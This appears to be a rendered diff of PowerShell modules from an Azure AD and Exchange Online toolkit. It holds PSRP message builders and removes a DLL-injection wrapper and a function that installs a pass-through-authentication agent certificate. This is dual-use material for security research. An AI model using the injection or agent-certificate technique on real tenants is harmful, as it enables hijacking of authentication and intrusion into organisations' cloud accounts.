$const_RESET_RUNSPACE_STATE = "Reset runspace state"
|
||||
}
|
||||
|
||||
# Runspace status
|
||||
$const_beforeopen = 0x00
|
||||
$const_opening = 0x01
|
||||
$const_opened = 0x02
|
||||
$const_closed = 0x03
|
||||
$const_closing = 0x04
|
||||
$const_broken = 0x05
|
||||
$const_negotiationsent = 0x06
|
||||
$const_negotiationsucceeded = 0x07
|
||||
$const_connecting = 0x08
|
||||
$const_disconnected = 0x09
|
||||
|
||||
# Invocation state
|
||||
$const_Notstarted = 0x00
|
||||
$const_Running = 0x01
|
||||
$const_Stopping = 0x02
|
||||
$const_Stopped = 0x03
|
||||
$const_Completed = 0x04
|
||||
$const_Failed = 0x05
|
||||
$const_Disconnected = 0x06
|
||||
|
||||
# Waiting messages
|
||||
$waiting_messages=@(
|
||||
"Your PC is almost ready..."
|
||||
"We're getting everything ready for you..."
|
||||
"Almost there..."
|
||||
"Back in a moment..."
|
||||
"This might take several minutes..."
|
||||
"It's taking a bit longer than expected, but we'll get there as fast as we can..."
|
||||
"Don't turn off your PC..."
|
||||
"This might take a while..."
|
||||
"This might take a while, I'll tell you when we're ready.."
|
||||
|
||||
)
|
||||
|
||||
# Function returning a random waiting message
|
||||
function Get-WaitingMessage
|
||||
{
|
||||
[int]$msg=Get-Random -Minimum 0 -Maximum ($waiting_messages.Count-1)
|
||||
return $waiting_messages[$msg]
|
||||
}
|
||||
|
||||
|
||||
# Parse the PowerShell Remoting Protocol Message
|
||||
function Parse-PSRPMessage
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='Base64',Mandatory=$True)]
|
||||
[String]$Base64Value,
|
||||
|
||||
[Parameter(ParameterSetName='Byte',Mandatory=$True)]
|
||||
[Byte[]]$ByteArray,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$Skip=0
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
# If Base64, decode to byte[]
|
||||
if(![String]::IsNullOrEmpty($Base64Value))
|
||||
{
|
||||
Write-Verbose "Decoding message to bytes ($Base64Value)"
|
||||
[byte[]]$ByteArray = [System.Convert]::FromBase64String($Base64Value)
|
||||
}
|
||||
|
||||
$messageLength = $ByteArray.Count
|
||||
|
||||
# Check the length
|
||||
if($messageLength -le 4)
|
||||
{
|
||||
Throw "Message too short"
|
||||
}
|
||||
|
||||
$position = $skip
|
||||
|
||||
$messages=@()
|
||||
|
||||
# There might be more than one message..
|
||||
while($position -lt $messageLength)
|
||||
{
|
||||
# Message attributes
|
||||
$attributes = [ordered]@{}
|
||||
|
||||
$ps_object_id=[byte[]]$ByteArray[($position)..($position+7)]
|
||||
$ps_fragment_id=[byte[]]$ByteArray[($position+8)..($position+15)]
|
||||
$ps_fragment=[int]$ByteArray[($position+16)]
|
||||
$ps_blobLength=[int][System.BitConverter]::ToUInt32([byte[]]$ByteArray[($position+20)..($position+17)],0)
|
||||
$ps_destination = [int]$ByteArray[($position+21)]
|
||||
$ps_messagetype=[int][System.BitConverter]::ToUInt32([byte[]]$ByteArray[($position+25)..($position+28)],0)
|
||||
$ps_rpid=[byte[]]$ByteArray[($position+29)..($position+44)]
|
||||
$ps_pid=[byte[]]$ByteArray[($position+45)..($position+60)]
|
||||
|
||||
$attributes["Object Id"] = [System.BitConverter]::ToString($ps_object_id)
|
||||
$attributes["Fragment Id"] = [System.BitConverter]::ToString($ps_fragment_id)
|
||||
$attributes["Fragment"] = $PSRM_message_fragment[$ps_fragment]
|
||||
$attributes["Data length"] = $ps_blobLength
|
||||
$attributes["Destination"] = $PSRM_message_destination[$ps_destination]
|
||||
$attributes["Message type"] = $PSRM_message_types[$ps_messagetype]
|
||||
$attributes["RPID"] = ([guid]$ps_rpid).ToString()
|
||||
$attributes["PID"] = ([guid]$ps_pid).ToString()
|
||||
|
||||
# Header length is 64 bytes so the actual data is after that
|
||||
$xmlBytes = $ByteArray[($position+64)..($position+$ps_blobLength+20)]
|
||||
$position += $xmlBytes.Count + 64
|
||||
|
||||
# The data is UTF8 text
|
||||
[xml]$xml=[System.Text.Encoding]::UTF8.GetString($xmlBytes)
|
||||
$attributes["Data"]=$xml.OuterXml
|
||||
|
||||
$message = New-Object PSObject -Property $attributes
|
||||
|
||||
Write-Verbose "Found message:"
|
||||
Write-Verbose $message
|
||||
|
||||
$messages += $message
|
||||
}
|
||||
|
||||
|
||||
return $messages
|
||||
}
|
||||
}
|
||||
|
||||
# Creates the PowerShell Remoting Protocol Message
|
||||
function Create-PSRPMessage
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Data,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$MSG_RPID = (New-Guid),
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$MSG_PID = (New-Guid),
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('Server','Client')]
|
||||
[String]$Destination = "Server",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("Session_capability","Init_runspacepool","Public_key","Encrypted_session_key","Public_key_request","Set_max_runspaces","Set_min_runspaces","Runspace_availability","Application_private_data","Get_command_metadata","Runspool_state","Create_pipeline","Get_available_runspaces","User_event","Runspacepool_host_call","Runspacepool_host_response","Pipeline_state","Pipeline_input","End_of_pipeline_input","Pipeline_output","Pipeline_host_call","Pipeline_host_response","Error_record","Debug_record","Verbose_record","Warning_record","Progress_record","Informaition_record","Connect_runspacepool","Runspacepool_init_data","Reset_runspace_state")]
|
||||
[String]$Type = "Create_pipeline",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Int]$ObjectId=3
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
Write-Verbose "Creating PowerShell Remote Protocol message: $Destination, $Type"
|
||||
|
||||
$ByteArray = [System.Text.Encoding]::UTF8.getBytes($Data)
|
||||
|
||||
$messageLength = $ByteArray.Count+43 # Add the message header size
|
||||
|
||||
# Init the message
|
||||
$message=@()
|
||||
|
||||
$ps_object_id=[byte[]]@(0,0,0,0,0,0,0,$ObjectId)
|
||||
$ps_fragment_id=[byte[]]@(0,0,0,0,0,0,0,0)
|
||||
$ps_fragment=[byte]$const_fragment_start_end
|
||||
|
||||
$ps_blobLength=[System.BitConverter]::GetBytes([uint32]$messageLength)
|
||||
if($Destination -eq "Server")
|
||||
{
|
||||
$ps_destination = [byte] $const_destination_server
|
||||
}
|
||||
else
|
||||
{
|
||||
$ps_destination = [byte] $const_destination_client
|
||||
}
|
||||
|
||||
$ps_messagetype=$PSRM_message_types.Keys |? { $PSRM_message_types[$_] -eq $Type.Replace("_"," ") }
|
||||
$ps_messagetype=[System.BitConverter]::GetBytes([uint32]$ps_messagetype)
|
||||
|
||||
$ps_rpid=[byte[]]$MSG_RPID.ToByteArray()
|
||||
$ps_pid=[byte[]]$MSG_PID.ToByteArray()
|
||||
|
||||
# Construct the message
|
||||
$message += $ps_object_id # 01-08
|
||||
$message += $ps_fragment_id # 09-16
|
||||
$message += $ps_fragment # 17
|
||||
$message += $ps_blobLength[3..0] # 18-21
|
||||
$message += $ps_destination # 22-25 (continues on the next line)
|
||||
$message += @(0x00, 0x00, 0x00) #
|
||||
$message += $ps_messagetype # 26-29
|
||||
$message += $ps_rpid # 30-45
|
||||
$message += $ps_pid # 46-61
|
||||
$message += $const_bom # 62-64
|
||||
|
||||
$message += $ByteArray
|
||||
|
||||
$b64Message = [System.Convert]::ToBase64String([byte[]]$message)
|
||||
|
||||
Write-Verbose "Message created: $b64Message"
|
||||
|
||||
return $b64Message
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a PSRP Envelope
|
||||
function Create-PSRPEnvelope
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$SessionId=(New-Guid).ToString(),
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Body,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String[]]$Option,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[ValidateSet('Create','Receive','Delete','Command')]
|
||||
[String]$Action,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Shell_Id
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
Write-Verbose "Creating PowerShell Remote Protocol envelope: $action, $body"
|
||||
switch ( $Action )
|
||||
{
|
||||
"Command" { $action_url = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command'}
|
||||
"Create" { $action_url = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Create'}
|
||||
"Receive" { $action_url = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive'}
|
||||
"Delete" { $action_url = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete'}
|
||||
}
|
||||
|
||||
$MessageId = (New-Guid).ToString().ToUpper()
|
||||
$OperationId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$SequenceId="1"
|
||||
|
||||
#$To = "https://ps.outlook.com:443/powershell?PSVersion=5.1.17134.590"
|
||||
$To = "https://outlook.office365.com:443/PowerShell-LiveID?BasicAuthToOAuthConversion=true&PSVersion=5.1.17763.1490"
|
||||
$Envelope=@"
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
|
||||
<s:Header>
|
||||
<a:To>$To</a:To>
|
||||
<a:ReplyTo>
|
||||
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:Action s:mustUnderstand="true">$action_url</a:Action>
|
||||
<w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize>
|
||||
<a:MessageID>uuid:$MessageId</a:MessageID>
|
||||
<w:Locale xml:lang="en-US" s:mustUnderstand="false" />
|
||||
<p:DataLocale xml:lang="en-US" s:mustUnderstand="false" />
|
||||
<p:SessionId s:mustUnderstand="false">uuid:$SessionId</p:SessionId>
|
||||
<p:OperationID s:mustUnderstand="false">uuid:$OperationId</p:OperationID>
|
||||
<p:SequenceId s:mustUnderstand="false">$SequenceId</p:SequenceId>
|
||||
<w:ResourceURI xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI>
|
||||
$(
|
||||
if(![String]::IsNullOrEmpty($Shell_Id))
|
||||
{
|
||||
@"
|
||||
<w:SelectorSet xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
|
||||
<w:Selector Name="ShellId">$Shell_Id</w:Selector>
|
||||
</w:SelectorSet>
|
||||
"@
|
||||
}
|
||||
)
|
||||
$(
|
||||
if(![String]::IsNullOrEmpty($Option))
|
||||
{
|
||||
@"
|
||||
<w:OptionSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" s:mustUnderstand="true">
|
||||
<w:Option Name="$($Option[0])">$($Option[1])</w:Option>
|
||||
</w:OptionSet>
|
||||
"@
|
||||
}
|
||||
)<w:OperationTimeout>PT180.000S</w:OperationTimeout>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
$Body
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
"@
|
||||
# This can be used to compress the data (which we don't want to)
|
||||
# <rsp:CompressionType s:mustUnderstand="true" xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">xpress</rsp:CompressionType>
|
||||
|
||||
Write-Verbose "ENVELOPE: $Envelope"
|
||||
return $Envelope
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Creates a PSRP Envelope
|
||||
function Call-PSRP
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Envelope,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Bool]$Oauth=$false
|
||||
)
|
||||
Process
|
||||
{
|
||||
Write-Verbose "Calling the Remote PowerShell: $Envelope"
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials
|
||||
"Content-Type" = "application/soap+xml;charset=UTF-8"
|
||||
"User-Agent" = "Microsoft WinRM Client"
|
||||
}
|
||||
|
||||
$url="https://outlook.office365.com:443/PowerShell-LiveID?"
|
||||
|
||||
# EXO Remote PS uses basic authentication header to provide the Oauth token..
|
||||
if($Oauth)
|
||||
{
|
||||
$url+="BasicAuthToOauthConversion=true;"
|
||||
}
|
||||
$url += "PSVersion=5.1.17134.590"
|
||||
|
||||
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Method Post -Uri $url -Headers $headers -Body $Envelope -TimeoutSec 190
|
||||
|
||||
|
||||
Write-Verbose "RESPONSE: $response.Content"
|
||||
|
||||
return $response.Content
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Reads the response(s)
|
||||
function Receive-PSRP
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter()]
|
||||
[Bool]$Oauth=$false,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SessionId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Shell_Id,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$CommandId
|
||||
)
|
||||
Process
|
||||
{
|
||||
Write-Verbose "Retrieving PowerShell Remote Protocol response"
|
||||
|
||||
$AuthHeader = Create-AuthorizationHeader -Credentials $Credentials
|
||||
|
||||
$CommandIdString =""
|
||||
if(![String]::IsNullOrEmpty($CommandId))
|
||||
{
|
||||
$CommandIdString = " CommandId=`"$CommandId`""
|
||||
}
|
||||
|
||||
$Body = @"
|
||||
<rsp:Receive xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" SequenceId="0">
|
||||
<rsp:DesiredStream$CommandIdString>stdout</rsp:DesiredStream>
|
||||
</rsp:Receive>
|
||||
"@
|
||||
$SessionId = (New-Guid).ToString().ToUpper()
|
||||
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body $Body -Action Receive -Shell_Id $Shell_Id -Option @("WSMAN_CMDSHELL_OPTION_KEEPALIVE","TRUE")
|
||||
|
||||
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
|
||||
|
||||
Write-Verbose "RESPONSE: $response"
|
||||
|
||||
return $response
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Reads the response(s) and returns an array of objects
|
||||
function Receive-PSRPObjects
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter()]
|
||||
[Bool]$Oauth=$false,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Envelope,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SessionId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Shell_Id,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$CommandId
|
||||
)
|
||||
Process
|
||||
{
|
||||
$return_array = @()
|
||||
try
|
||||
{
|
||||
# Make the command call
|
||||
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
|
||||
|
||||
$get_output = $true
|
||||
|
||||
# Get the output
|
||||
while($get_output)
|
||||
{
|
||||
try
|
||||
{
|
||||
[xml]$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth
|
||||
|
||||
# Loop through streams
|
||||
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
|
||||
{
|
||||
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
|
||||
[xml]$xmlData = $parsed_message.Data
|
||||
|
||||
if($parsed_message.'Message type' -eq "Pipeline output")
|
||||
{
|
||||
# Loop thru the attributes
|
||||
$attributes = [ordered]@{}
|
||||
foreach($node in $xmlData.Obj.Props.ChildNodes)
|
||||
{
|
||||
$name = $node.N
|
||||
$value = $node.InnerText
|
||||
if($name -eq "ObjectClass")
|
||||
{
|
||||
# Special attribute..
|
||||
$value=$node.LST.s[1]
|
||||
}
|
||||
$attributes[$name]=$value
|
||||
}
|
||||
$return_array+=(New-Object psobject -Property $attributes)
|
||||
}
|
||||
elseif($parsed_message.'Message type' -eq "Pipeline state")
|
||||
{
|
||||
$errorRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='ErrorRecord']").Node.'#text'
|
||||
if(![string]::IsNullOrEmpty($errorRecord))
|
||||
{
|
||||
# Something went wrong, probably not an admin user
|
||||
Write-Error "Got an error! May be not an admin user?"
|
||||
Write-Verbose "ERROR: $errorRecord"
|
||||
}
|
||||
}
|
||||
elseif($parsed_message.'Message type' -eq "Warning record")
|
||||
{
|
||||
$warningRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='InformationalRecord_Message']").Node.'#text'
|
||||
if(![string]::IsNullOrEmpty($warningRecord))
|
||||
{
|
||||
Write-Warning $warningRecord
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Loop thru the CommandStates
|
||||
foreach($state in $response.Envelope.Body.ReceiveResponse.CommandState)
|
||||
{
|
||||
# Okay, we're done!
|
||||
$exitCode = $state.ExitCode
|
||||
if(![string]::IsNullOrEmpty($exitCode))
|
||||
{
|
||||
Write-Progress -Activity "Retrieving objects" -Completed
|
||||
$get_output = $false
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Something wen't wrong so exit the loop
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Do nothing
|
||||
}
|
||||
|
||||
return $return_array
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -1,48 +1,5 @@
|
||||
# This script contains utility functions for PTA
|
||||
|
||||
# Error codes
|
||||
$ERROR_ACCESS_DENIED = 5
|
||||
$ERROR_ACCOUNT_DISABLED = 1331
|
||||
$ERROR_ACCOUNT_EXPIRED = 1793
|
||||
$ERROR_ACCOUNT_LOCKED_OUT = 1909
|
||||
$ERROR_ACCOUNT_RESTRICTION = 1327
|
||||
$ERROR_AUTHENTICATION_FIREWALL_FAILED = 1935
|
||||
$ERROR_BAD_ARGUMENTS = 160
|
||||
$ERROR_DOMAIN_CONTROLLER_NOT_FOUND = 1908
|
||||
$ERROR_DOMAIN_TRUST_INCONSISTENT = 1810
|
||||
$ERROR_FILENAME_EXCED_RANGE = 206
|
||||
$ERROR_INTERNAL_ERROR = 1359
|
||||
$ERROR_INVALID_ACCESS = 12
|
||||
$ERROR_INVALID_LOGON_HOURS = 1328
|
||||
$ERROR_INVALID_SERVER_STATE = 1352
|
||||
$ERROR_INVALID_WORKSTATION = 1329
|
||||
$ERROR_LDAP_FILTER_ERROR = 87
|
||||
$ERROR_LDAP_OPERATIONS_ERROR = 1
|
||||
$ERROR_LOGON_FAILURE = 1326
|
||||
$ERROR_LOGON_TYPE_NOT_GRANTED = 1385
|
||||
$ERROR_NETLOGON_NOT_STARTED = 1792
|
||||
$ERROR_NOT_ENOUGH_MEMORY = 8
|
||||
$ERROR_NOT_ENOUGH_SERVER_MEMORY = 1130
|
||||
$ERROR_NO_LOGON_SERVERS = 1311
|
||||
$ERROR_NO_SUCH_DOMAIN = 1355
|
||||
$ERROR_NO_SUCH_PACKAGE = 1364
|
||||
$ERROR_NO_SUCH_USER = 1317
|
||||
$ERROR_NO_SYSTEM_RESOURCES = 1450
|
||||
$ERROR_NO_TRUST_SAM_ACCOUNT = 1787
|
||||
$ERROR_OUTOFMEMORY = 14
|
||||
$ERROR_PASSWORD_EXPIRED = 1330
|
||||
$ERROR_PASSWORD_MUST_CHANGE = 1907
|
||||
$ERROR_PASSWORD_RESTRICTION = 1325
|
||||
$ERROR_REQUEST_NOT_SUPPORTED = 50
|
||||
$ERROR_RPC_S_CALL_FAILED = 1726
|
||||
$ERROR_RPC_S_SERVER_UNAVAILABLE = 1722
|
||||
$ERROR_TIME_SKEW = 1398
|
||||
$ERROR_TOO_MANY_CONTEXT_IDS = 1384
|
||||
$ERROR_TRUSTED_DOMAIN_FAILURE = 1788
|
||||
$ERROR_TRUSTED_RELATIONSHIP_FAILURE = 1789
|
||||
$ERROR_WRONG_PASSWORD = 1323
|
||||
$SEC_E_SMARTCARD_LOGON_REQUIRED = -2146892994
|
||||
|
||||
# Registers PTAAgent to the Azure AD
|
||||
# Nov 10th 2019
|
||||
# Sep 7th 2022: Added UpdateTrust
|
||||
@@ -102,116 +59,3 @@ function Register-PTAAgent
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
# Sets the certificate used by Azure AD Authentication Agent
|
||||
# Mar 3rd 2020
|
||||
# May 18th 2022: Fixed
|
||||
function Set-PTACertificate
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets the certificate used by Azure AD Authentication Agent
|
||||
|
||||
.DESCRIPTION
|
||||
Sets the certificate used by Azure AD Authentication Agent.
|
||||
The certificate must be created with Register-AADIntPTAAgent function or exported with Export-AADIntProxyAgentCertificates.
|
||||
|
||||
.Example
|
||||
Set-AADIntPTACertificate -PfxFileName server1.pfx -PfxPassword "password"
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PfxFileName="PTA_client_certificate.pfx",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PfxPassword
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check if the file exists
|
||||
if(-not (Test-Path $PfxFileName))
|
||||
{
|
||||
Write-Error "The file $PfxFileName does not exist!"
|
||||
return
|
||||
}
|
||||
|
||||
# Import the certificate twice, otherwise PTAAgent has issues to access private keys
|
||||
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new((Get-Item $PfxFileName).FullName, $PfxPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::MachineKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
|
||||
$cert.Import((Get-Item $PfxFileName).FullName, $PfxPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::MachineKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
|
||||
|
||||
# Add certificate to Local Computer Personal store
|
||||
$myStore = Get-Item -Path "Cert:\LocalMachine\My"
|
||||
$myStore.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite)
|
||||
$myStore.Add($cert)
|
||||
$myStore.Close()
|
||||
|
||||
# Get the Tenant Id and Instance Id
|
||||
$TenantId = $cert.Subject.Split("=")[1]
|
||||
|
||||
foreach($extension in $cert.Extensions)
|
||||
{
|
||||
if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
|
||||
{
|
||||
$InstanceID = [guid]$extension.RawData
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
# Set the registry value (the registy entry should already exists)
|
||||
Write-Verbose "Setting HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent\InstanceID to $InstanceID"
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent" -Name "InstanceID" -Value $InstanceID
|
||||
|
||||
if(![string]::IsNullOrEmpty($TenantId))
|
||||
{
|
||||
Write-Verbose "Setting HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent\TenantID to $TenantId"
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent" -Name "TenantID" -Value $TenantId
|
||||
}
|
||||
|
||||
# Set the certificate thumbprint to config file
|
||||
$configFile = "$env:ProgramData\Microsoft\Azure AD Connect Authentication Agent\Config\TrustSettings.xml"
|
||||
|
||||
Write-Verbose "Setting the certificate thumbprint $($cert.Thumbprint) to $configFile"
|
||||
|
||||
[xml]$TrustConfig = Get-Content $configFile
|
||||
$TrustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.Thumbprint = $cert.Thumbprint
|
||||
$TrustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.IsInUserStore = "false"
|
||||
$TrustConfig.OuterXml | Set-Content $configFile
|
||||
|
||||
# Set the read access to private key
|
||||
$ServiceUser="NT SERVICE\AzureADConnectAuthenticationAgent"
|
||||
|
||||
# Create an accessrule for private key
|
||||
$AccessRule = New-Object Security.AccessControl.FileSystemAccessrule $ServiceUser, "read", allow
|
||||
|
||||
# Give read permissions to the private key
|
||||
$keyName = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($cert).Key.UniqueName
|
||||
Write-Verbose "Private key: $keyName"
|
||||
|
||||
$paths = @(
|
||||
"$env:ALLUSERSPROFILE\Microsoft\Crypto\RSA\MachineKeys\$keyName"
|
||||
"$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$keyName"
|
||||
)
|
||||
foreach($path in $paths)
|
||||
{
|
||||
if(Test-Path $path)
|
||||
{
|
||||
Write-Verbose "Setting read access for ($ServiceUser) to the private key ($path)"
|
||||
|
||||
try
|
||||
{
|
||||
$permissions = Get-Acl -Path $path -ErrorAction SilentlyContinue
|
||||
$permissions.AddAccessRule($AccessRule)
|
||||
Set-Acl -Path $path -AclObject $permissions -ErrorAction SilentlyContinue
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "Could not give read access for ($ServiceUser) to the private key ($path)!"
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "`nCertification information set, remember to (re)start the service."
|
||||
}
|
||||
}
|
||||
@@ -1,91 +0,0 @@
|
||||
# Process utils
|
||||
|
||||
# May 20th 2019
|
||||
function Execute-Process
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Executes a given executable, batch, etc. in a new process and returns its stdout.
|
||||
|
||||
.DESCRIPTION
|
||||
Executes a given executable, batch, etc. in a new process and returns its stdout.
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$FileName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Arguments
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create ProcessStartInfo
|
||||
$info = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$info.FileName = $FileName
|
||||
$info.Arguments = $Arguments
|
||||
$info.CreateNoWindow = $true
|
||||
$info.RedirectStandardOutput = $true
|
||||
$info.UseShellExecute = $false
|
||||
|
||||
# Create a new process and execute it
|
||||
$ps = New-Object System.Diagnostics.Process
|
||||
$ps.StartInfo = $info
|
||||
$ps.Start() | Out-Null
|
||||
$ps.WaitForExit()
|
||||
|
||||
# Get the output and return it
|
||||
$stdout = $ps.StandardOutput.ReadToEnd()
|
||||
|
||||
return $stdout
|
||||
}
|
||||
}
|
||||
|
||||
# May 20th 2019
|
||||
function Inject-DLL
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Injects a given DLL to the given process
|
||||
|
||||
.DESCRIPTION
|
||||
Injects a given DLL to the given process.
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ProcessID,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$FileName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Function
|
||||
)
|
||||
Process
|
||||
{
|
||||
$InjectDLL = "$PSScriptRoot\InjectDLL.exe"
|
||||
$arguments = "$ProcessID `"$Filename`""
|
||||
if(![string]::IsNullOrEmpty($function))
|
||||
{
|
||||
$arguments += " $function"
|
||||
}
|
||||
Write-Verbose "Invoking: $InjectDLL $arguments"
|
||||
|
||||
Execute-Process -FileName $InjectDLL -Arguments $arguments
|
||||
}
|
||||
}
|
||||
|
||||
# May 20th 2019
|
||||
Function Get-ShortName {
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$FileName
|
||||
)
|
||||
Process
|
||||
{
|
||||
$ScriptingFSO = New-Object -ComObject Scripting.FileSystemObject
|
||||
return $ScriptingFSO.GetFile($($FileName)).ShortPath
|
||||
}
|
||||
}
|
||||
@@ -133,8 +133,12 @@ function Call-ProvisioningAPI
|
||||
)
|
||||
Process
|
||||
{
|
||||
$Headers=@{
|
||||
"User-Agent" = Get-UserAgent
|
||||
}
|
||||
|
||||
# Call the API
|
||||
Invoke-RestMethod -UseBasicParsing -Uri "https://provisioningapi.microsoftonline.com/provisioningwebservice.svc" -ContentType "application/soap+xml" -Method POST -Body $envelope
|
||||
Invoke-RestMethod -UseBasicParsing -Uri "https://provisioningapi.microsoftonline.com/provisioningwebservice.svc" -ContentType "application/soap+xml" -Method POST -Body $envelope -Headers $Headers
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,283 +0,0 @@
|
||||
# This file contains functions for setting proxy settings for Windows devices
|
||||
|
||||
# Sets proxy settings
|
||||
# Jan 20th 2022
|
